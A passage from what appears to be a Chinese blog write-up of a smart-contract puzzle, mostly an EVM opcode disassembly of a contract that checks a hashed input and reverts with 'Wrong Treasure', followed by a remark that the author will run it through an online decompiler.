0x0112</span><br><span class="line">00000073: JUMP</span><br><span class="line">00000074: JUMPDEST</span><br><span class="line">00000075: PUSH1 0x40</span><br><span class="line">00000077: MLOAD</span><br><span class="line">00000078: PUSH1 0x20</span><br><span class="line">0000007a: ADD</span><br><span class="line">0000007b: PUSH2 0x0083</span><br><span class="line">0000007e: SWAP2</span><br><span class="line">0000007f: SWAP1</span><br><span class="line">00000080: PUSH2 0x02eb</span><br><span class="line">00000083: JUMP</span><br><span class="line">00000084: JUMPDEST</span><br><span class="line">00000085: PUSH1 0x40</span><br><span class="line">00000087: MLOAD</span><br><span class="line">00000088: PUSH1 0x20</span><br><span class="line">0000008a: DUP2</span><br><span class="line">0000008b: DUP4</span><br><span class="line">0000008c: SUB</span><br><span class="line">0000008d: SUB</span><br><span class="line">0000008e: DUP2</span><br><span class="line">0000008f: MSTORE</span><br><span class="line">00000090: SWAP1</span><br><span class="line">00000091: PUSH1 0x40</span><br><span class="line">00000093: MSTORE</span><br><span class="line">00000094: DUP1</span><br><span class="line">00000095: MLOAD</span><br><span class="line">00000096: SWAP1</span><br><span class="line">00000097: PUSH1 0x20</span><br><span class="line">00000099: ADD</span><br><span class="line">0000009a: KECCAK256</span><br><span class="line">0000009b: PUSH1 0x00</span><br><span class="line">0000009d: PUSH1 0x40</span><br><span class="line">0000009f: MLOAD</span><br><span class="line">000000a0: PUSH1 0x20</span><br><span class="line">000000a2: ADD</span><br><span class="line">000000a3: PUSH2 0x00ab</span><br><span class="line">000000a6: SWAP2</span><br><span class="line">000000a7: SWAP1</span><br><span class="line">000000a8: PUSH2 0x0326</span><br><span class="line">000000ab: JUMP</span><br><span class="line">000000ac: JUMPDEST</span><br><span class="line">000000ad: PUSH1 0x40</span><br><span class="line">000000af: MLOAD</span><br><span class="line">000000b0: PUSH1 0x20</span><br><span class="line">000000b2: DUP2</span><br><span class="line">000000b3: DUP4</span><br><span class="line">000000b4: SUB</span><br><span class="line">000000b5: SUB</span><br><span class="line">000000b6: DUP2</span><br><span class="line">000000b7: MSTORE</span><br><span class="line">000000b8: SWAP1</span><br><span class="line">000000b9: PUSH1 0x40</span><br><span class="line">000000bb: MSTORE</span><br><span class="line">000000bc: DUP1</span><br><span class="line">000000bd: MLOAD</span><br><span class="line">000000be: SWAP1</span><br><span class="line">000000bf: PUSH1 0x20</span><br><span class="line">000000c1: ADD</span><br><span class="line">000000c2: KECCAK256</span><br><span class="line">000000c3: EQ</span><br><span class="line">000000c4: PUSH2 0x0103</span><br><span class="line">000000c7: JUMPI</span><br><span class="line">000000c8: PUSH1 0x40</span><br><span class="line">000000ca: MLOAD</span><br><span class="line">000000cb: PUSH3 0x461bcd</span><br><span class="line">000000cf: PUSH1 0xe5</span><br><span class="line">000000d1: SHL</span><br><span class="line">000000d2: DUP2</span><br><span class="line">000000d3: MSTORE</span><br><span class="line">000000d4: PUSH1 0x20</span><br><span class="line">000000d6: PUSH1 0x04</span><br><span class="line">000000d8: DUP3</span><br><span class="line">000000d9: ADD</span><br><span class="line">000000da: MSTORE</span><br><span class="line">000000db: PUSH1 0x0e</span><br><span class="line">000000dd: PUSH1 0x24</span><br><span class="line">000000df: DUP3</span><br><span class="line">000000e0: ADD</span><br><span class="line">000000e1: MSTORE</span><br><span class="line">000000e2: PUSH14 0x57726f6e67205472656173757265</span><br><span class="line">000000f1: PUSH1 0x90</span><br><span class="line">000000f3: SHL</span><br><span class="line">000000f4: PUSH1 0x44</span><br><span class="line">000000f6: DUP3</span><br><span class="line">000000f7: ADD</span><br><span class="line">000000f8: MSTORE</span><br><span class="line">000000f9: PUSH1 0x64</span><br><span class="line">000000fb: ADD</span><br><span class="line">000000fc: PUSH1 0x40</span><br><span class="line">000000fe: MLOAD</span><br><span class="line">000000ff: DUP1</span><br><span class="line">00000100: SWAP2</span><br><span class="line">00000101: SUB</span><br><span class="line">00000102: SWAP1</span><br><span class="line">00000103: REVERT</span><br><span class="line">00000104: JUMPDEST</span><br><span class="line">00000105: POP</span><br><span class="line">00000106: PUSH1 0x01</span><br><span class="line">00000108: DUP1</span><br><span class="line">00000109: SLOAD</span><br><span class="line">0000010a: PUSH1 0xff</span><br><span class="line">0000010c: NOT</span><br><span class="line">0000010d: AND</span><br><span class="line">0000010e: DUP2</span><br><span class="line">0000010f: OR</span><br><span class="line">00000110: SWAP1</span><br><span class="line">00000111: SSTORE</span><br><span class="line">00000112: JUMP</span><br><span class="line">00000113: JUMPDEST</span><br><span class="line">00000114: PUSH1 0x40</span><br><span class="line">00000116: DUP1</span><br><span class="line">00000117: MLOAD</span><br><span class="line">00000118: DUP1</span><br><span class="line">00000119: DUP3</span><br><span class="line">0000011a: ADD</span><br><span class="line">0000011b: SWAP1</span><br><span class="line">0000011c: SWAP2</span><br><span class="line">0000011d: MSTORE</span><br><span class="line">0000011e: PUSH1 0x0c</span><br><span class="line">00000120: DUP2</span><br><span class="line">00000121: MSTORE</span><br><span class="line">00000122: PUSH12 0x35b2bcaf9a9b9a1c19199ab3</span><br><span class="line">0000012f: PUSH1 0xa1</span><br><span class="line">00000131: SHL</span><br><span class="line">00000132: PUSH1 0x20</span><br><span class="line">00000134: DUP3</span><br><span class="line">00000135: ADD</span><br><span class="line">00000136: MSTORE</span><br><span class="line">00000137: DUP2</span><br><span class="line">00000138: MLOAD</span><br><span class="line">00000139: PUSH1 0x60</span><br><span class="line">0000013b: SWAP2</span><br><span class="line">0000013c: DUP4</span><br><span class="line">0000013d: SWAP2</span><br><span class="line">0000013e: PUSH1 0x00</span><br><span class="line">00000140: SWAP1</span><br><span class="line">00000141: PUSH8 0xffffffffffffffff</span><br><span class="line">0000014a: DUP2</span><br><span class="line">0000014b: GT</span><br><span class="line">0000014c: ISZERO</span><br><span class="line">0000014d: PUSH2 0x0157</span><br><span class="line">00000150: JUMPI</span><br><span class="line">00000151: PUSH2 0x0157</span><br><span class="line">00000154: PUSH2 0x0224</span><br><span class="line">00000157: JUMP</span><br><span class="line">00000158: JUMPDEST</span><br><span class="line">00000159: PUSH1 0x40</span><br><span class="line">0000015b: MLOAD</span><br><span class="line">0000015c: SWAP1</span><br><span class="line">0000015d: DUP1</span><br><span class="line">0000015e: DUP3</span><br><span class="line">0000015f: MSTORE</span><br><span class="line">00000160: DUP1</span><br><span class="line">00000161: PUSH1 0x1f</span><br><span class="line">00000163: ADD</span><br><span class="line">00000164: PUSH1 0x1f</span><br><span class="line">00000166: NOT</span><br><span class="line">00000167: AND</span><br><span class="line">00000168: PUSH1 0x20</span><br><span class="line">0000016a: ADD</span><br><span class="line">0000016b: DUP3</span><br><span class="line">0000016c: ADD</span><br><span class="line">0000016d: PUSH1 0x40</span><br><span class="line">0000016f: MSTORE</span><br><span class="line">00000170: DUP1</span><br><span class="line">00000171: ISZERO</span><br><span class="line">00000172: PUSH2 0x0181</span><br><span class="line">00000175: JUMPI</span><br><span class="line">00000176: PUSH1 0x20</span><br><span class="line">00000178: DUP3</span><br><span class="line">00000179: ADD</span><br><span class="line">0000017a: DUP2</span><br><span class="line">0000017b: DUP1</span><br><span class="line">0000017c: CALLDATASIZE</span><br><span class="line">0000017d: DUP4</span><br><span class="line">0000017e: CALLDATACOPY</span><br><span class="line">0000017f: ADD</span><br><span class="line">00000180: SWAP1</span><br><span class="line">00000181: POP</span><br><span class="line">00000182: JUMPDEST</span><br><span class="line">00000183: POP</span><br><span class="line">00000184: SWAP1</span><br><span class="line">00000185: POP</span><br><span class="line">00000186: PUSH1 0x00</span><br><span class="line">00000188: JUMPDEST</span><br><span class="line">00000189: DUP4</span><br><span class="line">0000018a: MLOAD</span><br><span class="line">0000018b: DUP2</span><br><span class="line">0000018c: LT</span><br><span class="line">0000018d: ISZERO</span><br><span class="line">0000018e: PUSH2 0x021b</span><br><span class="line">00000191: JUMPI</span><br><span class="line">00000192: DUP3</span><br><span class="line">00000193: DUP4</span><br><span class="line">00000194: MLOAD</span><br><span class="line">00000195: DUP3</span><br><span class="line">00000196: PUSH2 0x019e</span><br><span class="line">00000199: SWAP2</span><br><span class="line">0000019a: SWAP1</span><br><span class="line">0000019b: PUSH2 0x03c2</span><br><span class="line">0000019e: JUMP</span><br><span class="line">0000019f: JUMPDEST</span><br><span class="line">000001a0: DUP2</span><br><span class="line">000001a1: MLOAD</span><br><span class="line">000001a2: DUP2</span><br><span class="line">000001a3: LT</span><br><span class="line">000001a4: PUSH2 0x01ae</span><br><span class="line">000001a7: JUMPI</span><br><span class="line">000001a8: PUSH2 0x01ae</span><br><span class="line">000001ab: PUSH2 0x03e4</span><br><span class="line">000001ae: JUMP</span><br><span class="line">000001af: JUMPDEST</span><br><span class="line">000001b0: PUSH1 0x20</span><br><span class="line">000001b2: ADD</span><br><span class="line">000001b3: ADD</span><br><span class="line">000001b4: MLOAD</span><br><span class="line">000001b5: PUSH1 0xf8</span><br><span class="line">000001b7: SHR</span><br><span class="line">000001b8: PUSH1 0xf8</span><br><span class="line">000001ba: SHL</span><br><span class="line">000001bb: PUSH1 0xf8</span><br><span class="line">000001bd: SHR</span><br><span class="line">000001be: DUP5</span><br><span class="line">000001bf: DUP3</span><br><span class="line">000001c0: DUP2</span><br><span class="line">000001c1: MLOAD</span><br><span class="line">000001c2: DUP2</span><br><span class="line">000001c3: LT</span><br><span class="line">000001c4: PUSH2 0x01ce</span><br><span class="line">000001c7: JUMPI</span><br><span class="line">000001c8: PUSH2 0x01ce</span><br><span class="line">000001cb: PUSH2 0x03e4</span><br><span class="line">000001ce: JUMP</span><br><span class="line">000001cf: JUMPDEST</span><br><span class="line">000001d0: PUSH1 0x20</span><br><span class="line">000001d2: ADD</span><br><span class="line">000001d3: ADD</span><br><span class="line">000001d4: MLOAD</span><br><span class="line">000001d5: PUSH1 0xf8</span><br><span class="line">000001d7: SHR</span><br><span class="line">000001d8: PUSH1 0xf8</span><br><span class="line">000001da: SHL</span><br><span class="line">000001db: PUSH1 0xf8</span><br><span class="line">000001dd: SHR</span><br><span class="line">000001de: XOR</span><br><span class="line">000001df: PUSH1 0xf8</span><br><span class="line">000001e1: SHL</span><br><span class="line">000001e2: DUP3</span><br><span class="line">000001e3: DUP3</span><br><span class="line">000001e4: DUP2</span><br><span class="line">000001e5: MLOAD</span><br><span class="line">000001e6: DUP2</span><br><span class="line">000001e7: LT</span><br><span class="line">000001e8: PUSH2 0x01f2</span><br><span class="line">000001eb: JUMPI</span><br><span class="line">000001ec: PUSH2 0x01f2</span><br><span class="line">000001ef: PUSH2 0x03e4</span><br><span class="line">000001f2: JUMP</span><br><span class="line">000001f3: JUMPDEST</span><br><span class="line">000001f4: PUSH1 0x20</span><br><span class="line">000001f6: ADD</span><br><span class="line">000001f7: ADD</span><br><span class="line">000001f8: SWAP1</span><br><span class="line">000001f9: PUSH1 0x01</span><br><span class="line">000001fb: PUSH1 0x01</span><br><span class="line">000001fd: PUSH1 0xf8</span><br><span class="line">000001ff: SHL</span><br><span class="line">00000200: SUB</span><br><span class="line">00000201: NOT</span><br><span class="line">00000202: AND</span><br><span class="line">00000203: SWAP1</span><br><span class="line">00000204: DUP2</span><br><span class="line">00000205: PUSH1 0x00</span><br><span class="line">00000207: BYTE</span><br><span class="line">00000208: SWAP1</span><br><span class="line">00000209: MSTORE8</span><br><span class="line">0000020a: POP</span><br><span class="line">0000020b: DUP1</span><br><span class="line">0000020c: PUSH2 0x0213</span><br><span class="line">0000020f: DUP2</span><br><span class="line">00000210: PUSH2 0x03fa</span><br><span class="line">00000213: JUMP</span><br><span class="line">00000214: JUMPDEST</span><br><span class="line">00000215: SWAP2</span><br><span class="line">00000216: POP</span><br><span class="line">00000217: POP</span><br><span class="line">00000218: PUSH2 0x0187</span><br><span class="line">0000021b: JUMP</span><br><span class="line">0000021c: JUMPDEST</span><br><span class="line">0000021d: POP</span><br><span class="line">0000021e: SWAP5</span><br><span class="line">0000021f: SWAP4</span><br><span class="line">00000220: POP</span><br><span class="line">00000221: POP</span><br><span class="line">00000222: POP</span><br><span class="line">00000223: POP</span><br><span class="line">00000224: JUMP</span><br><span class="line">00000225: JUMPDEST</span><br><span class="line">00000226: PUSH4 0x4e487b71</span><br><span class="line">0000022b: PUSH1 0xe0</span><br><span class="line">0000022d: SHL</span><br><span class="line">0000022e: PUSH1 0x00</span><br><span class="line">00000230: MSTORE</span><br><span class="line">00000231: PUSH1 0x41</span><br><span class="line">00000233: PUSH1 0x04</span><br><span class="line">00000235: MSTORE</span><br><span class="line">00000236: PUSH1 0x24</span><br><span class="line">00000238: PUSH1 0x00</span><br><span class="line">0000023a: REVERT</span><br><span class="line">0000023b: JUMPDEST</span><br><span class="line">0000023c: PUSH1 0x00</span><br><span class="line">0000023e: PUSH1 0x20</span><br><span class="line">00000240: DUP3</span><br><span class="line">00000241: DUP5</span><br><span class="line">00000242: SUB</span><br><span class="line">00000243: SLT</span><br><span class="line">00000244: ISZERO</span><br><span class="line">00000245: PUSH2 0x024c</span><br><span class="line">00000248: JUMPI</span><br><span class="line">00000249: PUSH1 0x00</span><br><span class="line">0000024b: DUP1</span><br><span class="line">0000024c: REVERT</span><br><span class="line">0000024d: JUMPDEST</span><br><span class="line">0000024e: DUP2</span><br><span class="line">0000024f: CALLDATALOAD</span><br><span class="line">00000250: PUSH8 0xffffffffffffffff</span><br><span class="line">00000259: DUP1</span><br><span class="line">0000025a: DUP3</span><br><span class="line">0000025b: GT</span><br><span class="line">0000025c: ISZERO</span><br><span class="line">0000025d: PUSH2 0x0264</span><br><span class="line">00000260: JUMPI</span><br><span class="line">00000261: PUSH1 0x00</span><br><span class="line">00000263: DUP1</span><br><span class="line">00000264: REVERT</span><br><span class="line">00000265: JUMPDEST</span><br><span class="line">00000266: DUP2</span><br><span class="line">00000267: DUP5</span><br><span class="line">00000268: ADD</span><br><span class="line">00000269: SWAP2</span><br><span class="line">0000026a: POP</span><br><span class="line">0000026b: DUP5</span><br><span class="line">0000026c: PUSH1 0x1f</span><br><span class="line">0000026e: DUP4</span><br><span class="line">0000026f: ADD</span><br><span class="line">00000270: SLT</span><br><span class="line">00000271: PUSH2 0x0278</span><br><span class="line">00000274: JUMPI</span><br><span class="line">00000275: PUSH1 0x00</span><br><span class="line">00000277: DUP1</span><br><span class="line">00000278: REVERT</span><br><span class="line">00000279: JUMPDEST</span><br><span class="line">0000027a: DUP2</span><br><span class="line">0000027b: CALLDATALOAD</span><br><span class="line">0000027c: DUP2</span><br><span class="line">0000027d: DUP2</span><br><span class="line">0000027e: GT</span><br><span class="line">0000027f: ISZERO</span><br><span class="line">00000280: PUSH2 0x028a</span><br><span class="line">00000283: JUMPI</span><br><span class="line">00000284: PUSH2 0x028a</span><br><span class="line">00000287: PUSH2 0x0224</span><br><span class="line">0000028a: JUMP</span><br><span class="line">0000028b: JUMPDEST</span><br><span class="line">0000028c: PUSH1 0x40</span><br><span class="line">0000028e: MLOAD</span><br><span class="line">0000028f: PUSH1 0x1f</span><br><span class="line">00000291: DUP3</span><br><span class="line">00000292: ADD</span><br><span class="line">00000293: PUSH1 0x1f</span><br><span class="line">00000295: NOT</span><br><span class="line">00000296: SWAP1</span><br><span class="line">00000297: DUP2</span><br><span class="line">00000298: AND</span><br><span class="line">00000299: PUSH1 0x3f</span><br><span class="line">0000029b: ADD</span><br><span class="line">0000029c: AND</span><br><span class="line">0000029d: DUP2</span><br><span class="line">0000029e: ADD</span><br><span class="line">0000029f: SWAP1</span><br><span class="line">000002a0: DUP4</span><br><span class="line">000002a1: DUP3</span><br><span class="line">000002a2: GT</span><br><span class="line">000002a3: DUP2</span><br><span class="line">000002a4: DUP4</span><br><span class="line">000002a5: LT</span><br><span class="line">000002a6: OR</span><br><span class="line">000002a7: ISZERO</span><br><span class="line">000002a8: PUSH2 0x02b2</span><br><span class="line">000002ab: JUMPI</span><br><span class="line">000002ac: PUSH2 0x02b2</span><br><span class="line">000002af: PUSH2 0x0224</span><br><span class="line">000002b2: JUMP</span><br><span class="line">000002b3: JUMPDEST</span><br><span class="line">000002b4: DUP2</span><br><span class="line">000002b5: PUSH1 0x40</span><br><span class="line">000002b7: MSTORE</span><br><span class="line">000002b8: DUP3</span><br><span class="line">000002b9: DUP2</span><br><span class="line">000002ba: MSTORE</span><br><span class="line">000002bb: DUP8</span><br><span class="line">000002bc: PUSH1 0x20</span><br><span class="line">000002be: DUP5</span><br><span class="line">000002bf: DUP8</span><br><span class="line">000002c0: ADD</span><br><span class="line">000002c1: ADD</span><br><span class="line">000002c2: GT</span><br><span class="line">000002c3: ISZERO</span><br><span class="line">000002c4: PUSH2 0x02cb</span><br><span class="line">000002c7: JUMPI</span><br><span class="line">000002c8: PUSH1 0x00</span><br><span class="line">000002ca: DUP1</span><br><span class="line">000002cb: REVERT</span><br><span class="line">000002cc: JUMPDEST</span><br><span class="line">000002cd: DUP3</span><br><span class="line">000002ce: PUSH1 0x20</span><br><span class="line">000002d0: DUP7</span><br><span class="line">000002d1: ADD</span><br><span class="line">000002d2: PUSH1 0x20</span><br><span class="line">000002d4: DUP4</span><br><span class="line">000002d5: ADD</span><br><span class="line">000002d6: CALLDATACOPY</span><br><span class="line">000002d7: PUSH1 0x00</span><br><span class="line">000002d9: SWAP3</span><br><span class="line">000002da: DUP2</span><br><span class="line">000002db: ADD</span><br><span class="line">000002dc: PUSH1 0x20</span><br><span class="line">000002de: ADD</span><br><span class="line">000002df: SWAP3</span><br><span class="line">000002e0: SWAP1</span><br><span class="line">000002e1: SWAP3</span><br><span class="line">000002e2: MSTORE</span><br><span class="line">000002e3: POP</span><br><span class="line">000002e4: SWAP6</span><br><span class="line">000002e5: SWAP5</span><br><span class="line">000002e6: POP</span><br><span class="line">000002e7: POP</span><br><span class="line">000002e8: POP</span><br><span class="line">000002e9: POP</span><br><span class="line">000002ea: POP</span><br><span class="line">000002eb: JUMP</span><br><span class="line">000002ec: JUMPDEST</span><br><span class="line">000002ed: PUSH1 0x00</span><br><span class="line">000002ef: DUP3</span><br><span class="line">000002f0: MLOAD</span><br><span class="line">000002f1: PUSH1 0x00</span><br><span class="line">000002f3: JUMPDEST</span><br><span class="line">000002f4: DUP2</span><br><span class="line">000002f5: DUP2</span><br><span class="line">000002f6: LT</span><br><span class="line">000002f7: ISZERO</span><br><span class="line">000002f8: PUSH2 0x030c</span><br><span class="line">000002fb: JUMPI</span><br><span class="line">000002fc: PUSH1 0x20</span><br><span class="line">000002fe: DUP2</span><br><span class="line">000002ff: DUP7</span><br><span class="line">00000300: ADD</span><br><span class="line">00000301: DUP2</span><br><span class="line">00000302: ADD</span><br><span class="line">00000303: MLOAD</span><br><span class="line">00000304: DUP6</span><br><span class="line">00000305: DUP4</span><br><span class="line">00000306: ADD</span><br><span class="line">00000307: MSTORE</span><br><span class="line">00000308: ADD</span><br><span class="line">00000309: PUSH2 0x02f2</span><br><span class="line">0000030c: JUMP</span><br><span class="line">0000030d: JUMPDEST</span><br><span class="line">0000030e: DUP2</span><br><span class="line">0000030f: DUP2</span><br><span class="line">00000310: GT</span><br><span class="line">00000311: ISZERO</span><br><span class="line">00000312: PUSH2 0x031b</span><br><span class="line">00000315: JUMPI</span><br><span class="line">00000316: PUSH1 0x00</span><br><span class="line">00000318: DUP3</span><br><span class="line">00000319: DUP6</span><br><span class="line">0000031a: ADD</span><br><span class="line">0000031b: MSTORE</span><br><span class="line">0000031c: JUMPDEST</span><br><span class="line">0000031d: POP</span><br><span class="line">0000031e: SWAP2</span><br><span class="line">0000031f: SWAP1</span><br><span class="line">00000320: SWAP2</span><br><span class="line">00000321: ADD</span><br><span class="line">00000322: SWAP3</span><br><span class="line">00000323: SWAP2</span><br><span class="line">00000324: POP</span><br><span class="line">00000325: POP</span><br><span class="line">00000326: JUMP</span><br><span class="line">00000327: JUMPDEST</span><br><span class="line">00000328: PUSH1 0x00</span><br><span class="line">0000032a: DUP1</span><br><span class="line">0000032b: DUP4</span><br><span class="line">0000032c: SLOAD</span><br><span class="line">0000032d: DUP2</span><br><span class="line">0000032e: PUSH1 0x01</span><br><span class="line">00000330: DUP3</span><br><span class="line">00000331: DUP2</span><br><span class="line">00000332: SHR</span><br><span class="line">00000333: SWAP2</span><br><span class="line">00000334: POP</span><br><span class="line">00000335: DUP1</span><br><span class="line">00000336: DUP4</span><br><span class="line">00000337: AND</span><br><span class="line">00000338: DUP1</span><br><span class="line">00000339: PUSH2 0x0342</span><br><span class="line">0000033c: JUMPI</span><br><span class="line">0000033d: PUSH1 0x7f</span><br><span class="line">0000033f: DUP4</span><br><span class="line">00000340: AND</span><br><span class="line">00000341: SWAP3</span><br><span class="line">00000342: POP</span><br><span class="line">00000343: JUMPDEST</span><br><span class="line">00000344: PUSH1 0x20</span><br><span class="line">00000346: DUP1</span><br><span class="line">00000347: DUP5</span><br><span class="line">00000348: LT</span><br><span class="line">00000349: DUP3</span><br><span class="line">0000034a: EQ</span><br><span class="line">0000034b: ISZERO</span><br><span class="line">0000034c: PUSH2 0x0362</span><br><span class="line">0000034f: JUMPI</span><br><span class="line">00000350: PUSH4 0x4e487b71</span><br><span class="line">00000355: PUSH1 0xe0</span><br><span class="line">00000357: SHL</span><br><span class="line">00000358: DUP7</span><br><span class="line">00000359: MSTORE</span><br><span class="line">0000035a: PUSH1 0x22</span><br><span class="line">0000035c: PUSH1 0x04</span><br><span class="line">0000035e: MSTORE</span><br><span class="line">0000035f: PUSH1 0x24</span><br><span class="line">00000361: DUP7</span><br><span class="line">00000362: REVERT</span><br><span class="line">00000363: JUMPDEST</span><br><span class="line">00000364: DUP2</span><br><span class="line">00000365: DUP1</span><br><span class="line">00000366: ISZERO</span><br><span class="line">00000367: PUSH2 0x0376</span><br><span class="line">0000036a: JUMPI</span><br><span class="line">0000036b: PUSH1 0x01</span><br><span class="line">0000036d: DUP2</span><br><span class="line">0000036e: EQ</span><br><span class="line">0000036f: PUSH2 0x0387</span><br><span class="line">00000372: JUMPI</span><br><span class="line">00000373: PUSH2 0x03b4</span><br><span class="line">00000376: JUMP</span><br><span class="line">00000377: JUMPDEST</span><br><span class="line">00000378: PUSH1 0xff</span><br><span class="line">0000037a: NOT</span><br><span class="line">0000037b: DUP7</span><br><span class="line">0000037c: AND</span><br><span class="line">0000037d: DUP10</span><br><span class="line">0000037e: MSTORE</span><br><span class="line">0000037f: DUP5</span><br><span class="line">00000380: DUP10</span><br><span class="line">00000381: ADD</span><br><span class="line">00000382: SWAP7</span><br><span class="line">00000383: POP</span><br><span class="line">00000384: PUSH2 0x03b4</span><br><span class="line">00000387: JUMP</span><br><span class="line">00000388: JUMPDEST</span><br><span class="line">00000389: PUSH1 0x00</span><br><span class="line">0000038b: DUP11</span><br><span class="line">0000038c: DUP2</span><br><span class="line">0000038d: MSTORE</span><br><span class="line">0000038e: PUSH1 0x20</span><br><span class="line">00000390: SWAP1</span><br><span class="line">00000391: KECCAK256</span><br><span class="line">00000392: PUSH1 0x00</span><br><span class="line">00000394: JUMPDEST</span><br><span class="line">00000395: DUP7</span><br><span class="line">00000396: DUP2</span><br><span class="line">00000397: LT</span><br><span class="line">00000398: ISZERO</span><br><span class="line">00000399: PUSH2 0x03ac</span><br><span class="line">0000039c: JUMPI</span><br><span class="line">0000039d: DUP2</span><br><span class="line">0000039e: SLOAD</span><br><span class="line">0000039f: DUP12</span><br><span class="line">000003a0: DUP3</span><br><span class="line">000003a1: ADD</span><br><span class="line">000003a2: MSTORE</span><br><span class="line">000003a3: SWAP1</span><br><span class="line">000003a4: DUP6</span><br><span class="line">000003a5: ADD</span><br><span class="line">000003a6: SWAP1</span><br><span class="line">000003a7: DUP4</span><br><span class="line">000003a8: ADD</span><br><span class="line">000003a9: PUSH2 0x0393</span><br><span class="line">000003ac: JUMP</span><br><span class="line">000003ad: JUMPDEST</span><br><span class="line">000003ae: POP</span><br><span class="line">000003af: POP</span><br><span class="line">000003b0: DUP5</span><br><span class="line">000003b1: DUP10</span><br><span class="line">000003b2: ADD</span><br><span class="line">000003b3: SWAP7</span><br><span class="line">000003b4: POP</span><br><span class="line">000003b5: JUMPDEST</span><br><span class="line">000003b6: POP</span><br><span class="line">000003b7: SWAP5</span><br><span class="line">000003b8: SWAP9</span><br><span class="line">000003b9: SWAP8</span><br><span class="line">000003ba: POP</span><br><span class="line">000003bb: POP</span><br><span class="line">000003bc: POP</span><br><span class="line">000003bd: POP</span><br><span class="line">000003be: POP</span><br><span class="line">000003bf: POP</span><br><span class="line">000003c0: POP</span><br><span class="line">000003c1: POP</span><br><span class="line">000003c2: JUMP</span><br><span class="line">000003c3: JUMPDEST</span><br><span class="line">000003c4: PUSH1 0x00</span><br><span class="line">000003c6: DUP3</span><br><span class="line">000003c7: PUSH2 0x03df</span><br><span class="line">000003ca: JUMPI</span><br><span class="line">000003cb: PUSH4 0x4e487b71</span><br><span class="line">000003d0: PUSH1 0xe0</span><br><span class="line">000003d2: SHL</span><br><span class="line">000003d3: PUSH1 0x00</span><br><span class="line">000003d5: MSTORE</span><br><span class="line">000003d6: PUSH1 0x12</span><br><span class="line">000003d8: PUSH1 0x04</span><br><span class="line">000003da: MSTORE</span><br><span class="line">000003db: PUSH1 0x24</span><br><span class="line">000003dd: PUSH1 0x00</span><br><span class="line">000003df: REVERT</span><br><span class="line">000003e0: JUMPDEST</span><br><span class="line">000003e1: POP</span><br><span class="line">000003e2: MOD</span><br><span class="line">000003e3: SWAP1</span><br><span class="line">000003e4: JUMP</span><br><span class="line">000003e5: JUMPDEST</span><br><span class="line">000003e6: PUSH4 0x4e487b71</span><br><span class="line">000003eb: PUSH1 0xe0</span><br><span class="line">000003ed: SHL</span><br><span class="line">000003ee: PUSH1 0x00</span><br><span class="line">000003f0: MSTORE</span><br><span class="line">000003f1: PUSH1 0x32</span><br><span class="line">000003f3: PUSH1 0x04</span><br><span class="line">000003f5: MSTORE</span><br><span class="line">000003f6: PUSH1 0x24</span><br><span class="line">000003f8: PUSH1 0x00</span><br><span class="line">000003fa: REVERT</span><br><span class="line">000003fb: JUMPDEST</span><br><span class="line">000003fc: PUSH1 0x00</span><br><span class="line">000003fe: PUSH1 0x00</span><br><span class="line">00000400: NOT</span><br><span class="line">00000401: DUP3</span><br><span class="line">00000402: EQ</span><br><span class="line">00000403: ISZERO</span><br><span class="line">00000404: PUSH2 0x041c</span><br><span class="line">00000407: JUMPI</span><br><span class="line">00000408: PUSH4 0x4e487b71</span><br><span class="line">0000040d: PUSH1 0xe0</span><br><span class="line">0000040f: SHL</span><br><span class="line">00000410: PUSH1 0x00</span><br><span class="line">00000412: MSTORE</span><br><span class="line">00000413: PUSH1 0x11</span><br><span class="line">00000415: PUSH1 0x04</span><br><span class="line">00000417: MSTORE</span><br><span class="line">00000418: PUSH1 0x24</span><br><span class="line">0000041a: PUSH1 0x00</span><br><span class="line">0000041c: REVERT</span><br><span class="line">0000041d: JUMPDEST</span><br><span class="line">0000041e: POP</span><br><span class="line">0000041f: PUSH1 0x01</span><br><span class="line">00000421: ADD</span><br><span class="line">00000422: SWAP1</span><br><span class="line">00000423: JUMP</span><br><span class="line">00000424: INVALID</span><br><span class="line">00000425: LOG2</span><br><span class="line">00000426: PUSH5 0x6970667358</span><br><span class="line">0000042c: INVALID</span><br><span class="line">0000042d: SLT</span><br><span class="line">0000042e: KECCAK256</span><br><span class="line">0000042f: INVALID</span><br><span class="line">00000430: INVALID</span><br><span class="line">00000431: PUSH22 0xe6de4319072b595bdd2382e9d4da7081fe0f1e58eb39</span><br><span class="line">00000448: INVALID</span><br><span class="line">00000449: DATACOPY</span><br><span class="line">0000044a: INVALID</span><br><span class="line">0000044b: ADD</span><br><span class="line">0000044c: OR</span><br><span class="line">0000044d: PUSH10 0x3e64736f6c6343000809</span><br><span class="line">00000458: STOP</span><br><span class="line">00000459: CALLER</span><br></pre></td></tr></table></figure><p>看的不是很明白，<a href="https://ethervm.io/decompile">Online Solidity Decompiler</a> 反编译一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span 